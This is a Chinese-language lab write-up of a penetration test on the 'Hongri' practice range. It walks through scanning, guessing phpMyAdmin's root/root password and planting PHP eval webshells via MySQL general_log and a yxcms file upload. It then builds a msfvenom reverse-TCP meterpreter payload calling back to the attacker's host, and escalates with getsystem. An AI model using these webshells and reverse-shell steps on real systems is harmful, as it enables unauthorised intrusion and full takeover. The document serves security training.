红日靶场初步渗透测试
确定目标
使用nmap扫描
nmap -sT 192.168.2.0/24
发现目标开启25,80,110,3306端口,怀疑此地址为靶场
使用dirsearch扫描该地址
python dirsearch.py -u 192.168.2.132
发现以下地址正常返回,其中出现http://192.168.2.132/phpMyAdmin/
登录后确定为靶场环境
信息搜集
利用数据库
首先尝试登录,这里我使用弱口令root+admin组合,最终试出用户名/密码为root/root
(这里是因为已知为红日靶场环境,其他情况也可以使用burp爆破)
以下是登录后界面
登录后就开始信息搜集的过程了
查看是否能直接将马写入数据库
SHOW GLOBAL VARIABLES LIKE '%secure%'
#查看是否有写入权限
查找后结果显示secure_file_priv值为NULL
secure_file_priv为NULL时不能直接写入,修改方法只能通过修改源文件中php.ini文件的secure_file_priv选项,这里显然我们是无法修改的
这里我们换一种思路,可以通过日志将马写入
SHOW GLOBAL VARIABLES LIKE '%general%'
#查看是否开启日志
发现日志为开启
(这里是因为之前练习的时候已经改过了,刚配置好的靶场环境日志是默认未开启的,通过 SET GLOBAL general_log = ON 命令可开启日志,再通过 SET GLOBAL general_log_file = ‘C:/phpstudy/WWW/shell.php’ 命令修改日志路径)
这时我们就可以通过日志写马了,因为日志会记录我们所做过的操作,所以我们直接输入查询命令就可以了
select '<?php eval ($_POST[haha]);?>'
#连接密码为haha
这里完成后日志就已经记录了我们的一句话木马,之后通过蚁剑连接就好了(已经将日志目录修改为 http://192.168.2.132/shell.php)
测试连接成功后开始连接,成功拿到webshell
利用cms
以上通过对数据库的操作成功拿到webshell,那么还有没有其他办法呢?
之前登录数据库时发现有一个newyxcms数据库,推测是一个web服务
(其实在蚁剑里也能发现有yxcms)
尝试登录看看,竟然真的有(假装兴奋)
发现了一个好东西,登录进后台瞅瞅
一个个都打开看看,说不定就有漏洞了
然后就看见了这个
能直接上传文件?还是php格式的文件?这样子明示的?果断上传
<?php eval(@$_POST['hahaha']); ?>
#一句话木马
还真就直接成功了
找文件地址确实麻烦,这里我没什么经验,最终发现文件被保存在 :C:/phpStudy/WWW/yxcms/protected/apps/default/view/default/
同样蚁剑也可以连接(不过没啥必要,已经得到webshell了)
开始渗透
利用msf设置反弹shell
开启msf框架(这里我使用kali)
利用msf生成一个木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.254.129 LPORT=4444 -f exe > shell2.exe
参数设置:
-p:选择payload
LHOST与LPORT:设置为本机用来监听
-f exe:生成 .exe 格式的文件
使用蚁剑将生成的文件上传到靶机,利用蚁剑开启终端并打开文件
(shell1是之前上传的马,shell2是为了记笔记重新生成的,两者没有区别)
在msf框架中选择监听模块
use exploit/multi/handler
#选择监听模块
set payload windows/meterpreter/reverse_tcp
#选择攻击载荷
set LHOST 192.168.254.129
set LPORT 4444
#将监听端口设置为192.168.254.129:4444
show options
#检查配置
exploit
#开始执行监听
这样我们就已经收到目标靶机发来的信号了
这里表示我们 192.168.254.129(攻击机)的 4444 端口接收到了来自 192.168.254.133 (靶机)的 11993 端口发来的会话
这里就已经算是成功了90%了
接下来是提权,既然已经getshell,首先应当提升自己的权限,否则后续的渗透工作会非常麻烦
getuid
#查看当前权限
getsystem
#权限提升
getuid
#查看是否提权成功
这里已经是system权限
后续的后渗透流程下次再做。。。